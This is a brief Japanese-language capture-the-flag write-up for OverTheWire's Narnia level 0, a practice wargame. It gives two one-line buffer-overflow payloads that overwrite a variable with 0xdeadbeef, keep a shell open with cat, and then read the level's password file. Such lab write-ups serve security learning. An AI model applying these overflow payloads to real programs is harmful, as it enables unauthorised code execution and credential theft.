Overthewire Narnia Writeup
Level0
最も典型的なバッファオーバーフローの例です。
- Try:
- Payload:
narnia0.cを見て、payloadを作ります。
( echo -e "AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde"; cat; ) | ./narnia0
/etc/narnia_passに入りパスワードをゲットします。
- One more solution:
(python -c 'print "A"*20 + "\xef\xbe\xad\xde"'; cat) | ./narnia0
※ catをつける理由:終了しないように状態を保持する